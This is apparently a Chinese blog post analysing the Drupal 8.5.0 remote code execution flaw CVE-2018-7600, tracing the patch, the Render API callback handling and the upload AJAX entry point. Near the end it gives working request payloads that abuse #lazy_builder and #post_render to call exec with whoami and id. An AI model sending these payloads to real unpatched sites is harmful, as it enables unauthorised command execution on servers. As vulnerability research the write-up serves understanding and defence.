Drupal CVE-2018-7600 RCE分析

前言

这个漏洞从预警到批露再到利用,属实是饱受关注。个人也一直在关注这个漏洞,无奈琐事比较多,直到最近才静下心来好好分析一下。托drupal的福,一直用静态审计的老顽固终于含泪走上了动态审计的道路,2333。

漏洞分析

这次分析的版本是8.5.0

漏洞触发点

drupal官方在漏洞爆出后,增加了一个RequestSanitizer 类,其中的stripDangerousValues 函数将请求中#开头的参数进行了过滤。

core/lib/Drupal/Core/Security/RequestSanitizer.php

protected static function stripDangerousValues($input, array $whitelist, array &$sanitized_keys) {
    if (is_array($input)) {
        foreach ($input as $key => $value) {
            if ($key !== '' && $key[0] === '#' && !in_array($key, $whitelist, TRUE)) {
                unset($input[$key]);
                $sanitized_keys[] = $key;
            }
            else {
                $input[$key] = static::stripDangerousValues($input[$key], $whitelist, $sanitized_keys);
            }
        }
    }
    return $input;
}

根据补丁可以猜测是#开头的参数可控导致的漏洞,通过查阅文档得知,drupal的Render API对#开头的参数会有特殊处理。进一步查看代码,对于#post_render #pre_render等,会使用call_user_func进行调用。

core/lib/Drupal/Core/Render/Render.php 373-380行

if (isset($elements['#pre_render'])) {
    foreach ($elements['#pre_render'] as $callable) {
        if (is_string($callable) && strpos($callable, '::') === FALSE) {
            $callable = $this->controllerResolver->getControllerFromDefinition($callable);
        }
        $elements = call_user_func($callable, $elements);
    }
}

如果我们找到可控点,就可以构造任意代码执行。但是官方并没有在出现漏洞的地方进行修补,而是增加了一个类似于全局的过滤,无疑大大提高了审计的难度,感受到了drupal官方满满的恶意。。。

漏洞入口点

漏洞入口点在用户注册页面的ajax上传处,定位代码:

core/modules/file/src/Element/MangedFile.php

/**
   * #ajax callback for managed_file upload forms.
   *
   * This ajax callback takes care of the following things:
   *   - Ensures that broken requests due to too big files are caught.
   *   - Adds a class to the response to be able to highlight in the UI, that a
   *     new file got uploaded.
   *
   * @param array $form
   *   The build form.
   * @param \Drupal\Core\Form\FormStateInterface $form_state
   *   The form state.
   * @param \Symfony\Component\HttpFoundation\Request $request
   *   The current request.
   *
   * @return \Drupal\Core\Ajax\AjaxResponse
   *   The ajax response of the ajax upload.
   */
public static function uploadAjaxCallback(&$form, FormStateInterface &$form_state, Request $request) {
    /** @var \Drupal\Core\Render\RendererInterface $renderer */
    $renderer = \Drupal::service('renderer');

    $form_parents = explode('/', $request->query->get('element_parents'));

    // Retrieve the element to be rendered.
    $form = NestedArray::getValue($form, $form_parents);

   /*省略*/
}

先看看正常上传form数组是什么样子的

mark

mark

mark

可以看到$form['account']['mail']['#value']就是我们传入的值,即mail变量是可控的。根绝上面的分析,我们需要构造mail[#pre_render][]=my_func去触发call_user_func来执行代码。接下来$form进入了NestedArray::getValue函数,跟进看一下:

core/lib/Drupal/Component/Utility/NestedArray.php

public static function &getValue(array &$array, array $parents, &$key_exists = NULL) {
    $ref = &$array;
    foreach ($parents as $parent) {
        if (is_array($ref) && (isset($ref[$parent]) || array_key_exists($parent, $ref))) {
            $ref = &$ref[$parent];
        }
        else {
            $key_exists = FALSE;
            $null = NULL;
            return $null;
        }
    }
    $key_exists = TRUE;
    return $ref;
}

这个函数的作用举个简单的例子来说明:

$array = array(
    'a'=> array(
        'b'=> array(
            'c'=> 'hah'
        ),
    ),
);
$parents = explode('/', 'a/b/c');
$res = getValue($array, $parents);
//$res的值为hah

值得注意的是$form_parents = explode('/', $request->query->get('element_parents'));是可控的,我们可以让element_parents=account/mail/#value覆盖整个$form数组,只保留我们可控的部分。

mark

mark

可以看到此时$form数组已经被覆盖掉了,只剩下我们传入的值。

这里会有一个疑问,name参数也是可控的,为什么不用它呢?这是因为$form["account"]["name"]["#type"]="textfeild",在尝试注入数组时会被转化字符串而失败。

漏洞利用

虽然我们通过上面方式得到了一个完全可控的数组,但是在下面的操作中又会拼接上一些东西,导致恶意代码无法执行。

依然是core/modules/file/src/Element/MangedFile.phpuploadAjaxCallback函数。

 // Add the special AJAX class if a new file was added.
    $current_file_count = $form_state->get('file_upload_delta_initial');
    if (isset($form['#file_upload_delta']) && $current_file_count < $form['#file_upload_delta']{
        $form[$current_file_count]['#attributes']['class'][] = 'ajax-new-content';
    }
    // Otherwise just add the new content class on a placeholder.
    else {
        $form['#suffix'] .= '<span class="ajax-new-content"></span>';
    }

    $status_messages = ['#type' => 'status_messages'];
    $form['#prefix'] .= $renderer->renderRoot($status_messages);
    $output = $renderer->renderRoot($form);

可以看到$form在增加了#suffix和#prefix元素之后进入了renderRoot函数。经过一系列调用之后,进入了core/lib/Drupal/Core/Render/Render.phpdoRender函数。

这个函数有350多行,篇幅问题就不全部贴在这里了。这个函数就是用来处理#开头的参数的,我们的最终目的是触发call_user_func*来执行任意代码,既然#pre_render不符合条件,那我们就找其他的。经过搜索,在这个函数中调用了call_user_func*()的参数有#access_callback、#lazy_builder、#pre_render、#post_render

可以利用的是#lazy_builder#post_render ,利用方式又不一样,下面分别看一下。

lazy_builder

core/lib/Drupal/Core/Render/Render.php 351-358行

// Build the element if it is still empty.
if (isset($elements['#lazy_builder'])) {
    $callable = $elements['#lazy_builder'][0];
    $args = $elements['#lazy_builder'][1];
    if (is_string($callable) && strpos($callable, '::') === FALSE) {
        $callable = $this->controllerResolver->getControllerFromDefinition($callable);
    }
    $new_elements = call_user_func_array($callable, $args);
    CacheableMetadata::createFromRenderArray($elements)
        ->merge(CacheableMetadata::createFromRenderArray($new_elements))//$new_elements必须为数组,否则报错
        ->applyTo($new_elements);
    /*省略部分*/
}

$elements就是之前的$form数组,看起来比较容易构造,但是前面还有一些限制。

core/lib/Drupal/Core/Render/Render.php 321-324行

$supported_keys = [
    '#lazy_builder',
    '#cache',
    '#create_placeholder',
    // The keys below are not actually supported, but these are added
    // automatically by the Renderer. Adding them as though they are
    // supported allows us to avoid throwing an exception 100% of the time.
    '#weight',
    '#printed'
];
$unsupported_keys = array_diff(array_keys($elements), $supported_keys);
if (count($unsupported_keys)) {
        throw new \DomainException(sprintf('When a #lazy_builder callback is specified, no properties can exist; all properties must be generated by the #lazy_builder callback. You specified the following properties: %s.', implode(', ', $unsupported_keys)));
}

意思是数组的key只能是这些值,由于之前拼接了#suffix和#prefix,导致此处无法利用,如何绕过这里的限制呢?

继续往下翻:

$children = Element::children($elements, TRUE);
/*省略部分*/
if ((!$theme_is_implemented || isset($elements['#render_children'])) && empty($elements['#children'])) {
    foreach ($children as $key) {
        $elements['#children'] .= $this->doRender($elements[$key]);
    }
    $elements['#children'] = Markup::create($elements['#children']);
}

core/lib/Drupal/Core/Render/Element.php

public static function children(array &$elements, $sort = FALSE) {
    // Do not attempt to sort elements which have already been sorted.
    $sort = isset($elements['#sorted']) ? !$elements['#sorted'] : $sort;

    // Filter out properties from the element, leaving only children.
    $count = count($elements);
    $child_weights = [];
    $i = 0;
    $sortable = FALSE;
    foreach ($elements as $key => $value) {
      if ($key === '' || $key[0] !== '#') {
        if (is_array($value)) {
          if (isset($value['#weight'])) {
            $weight = $value['#weight'];
            $sortable = TRUE;
          }
          else {
            $weight = 0;
          }
          // Supports weight with up to three digit precision and conserve
          // the insertion order.
          $child_weights[$key] = floor($weight * 1000) + $i / $count;
        }
        // Only trigger an error if the value is not null.
        // @see https://www.drupal.org/node/1283892
        elseif (isset($value)) {
          trigger_error(SafeMarkup::format('"@key" is an invalid render array key', ['@key' => $key]), E_USER_ERROR);
        }
      }
      $i++;
    }

    // Sort the children if necessary.
    if ($sort && $sortable) {
      asort($child_weights);
      // Put the sorted children back into $elements in the correct order, to
      // preserve sorting if the same element is passed through
      // \Drupal\Core\Render\Element::children() twice.
      foreach ($child_weights as $key => $weight) {
        $value = $elements[$key];
        unset($elements[$key]);
        $elements[$key] = $value;
      }
      $elements['#sorted'] = TRUE;
    }

    return array_keys($child_weights);
  }

这里是针对前面没有#的参数,会当作子元素处理。最终会将子元素遍历,再次传入doRender函数中。

传入mail[a][#lazy_builder][0]=exec&mail[a][#lazy_builder][1][]=whoami即可在第二次进入doRender函数时得到一个完全可控的数组。

mark

由于下面的操作要去$new_elements必须为数组,所以页面会报错导致无法回显。

post_render

与上面相比,#post-render的局限性会大一点,因为他只能执行有两个参数的函数。

if (isset($elements['#post_render'])) {
    foreach ($elements['#post_render'] as $callable) {
        if (is_string($callable) && strpos($callable, '::') === FALSE) {
            $callable = $this->controllerResolver->getControllerFromDefinition($callable);
        }
        $elements['#children'] = call_user_func($callable, $elements['#children'], $elements);
    }
}

能够执行命令并且接受两个参数的函数只有exec,payload也比较好构造,没有什么限制。

mail[#post_render][]=exec&mail[#children]=id

但是这个payload只在linux下生效

mark

在windows下会报Parameter 2 to exec() expected to be a reference, value given的错误,具体底层的原因也没在深究,先这样吧:p

漏洞防御

按照官方要求更新就完事了。

标签: none
添加新评论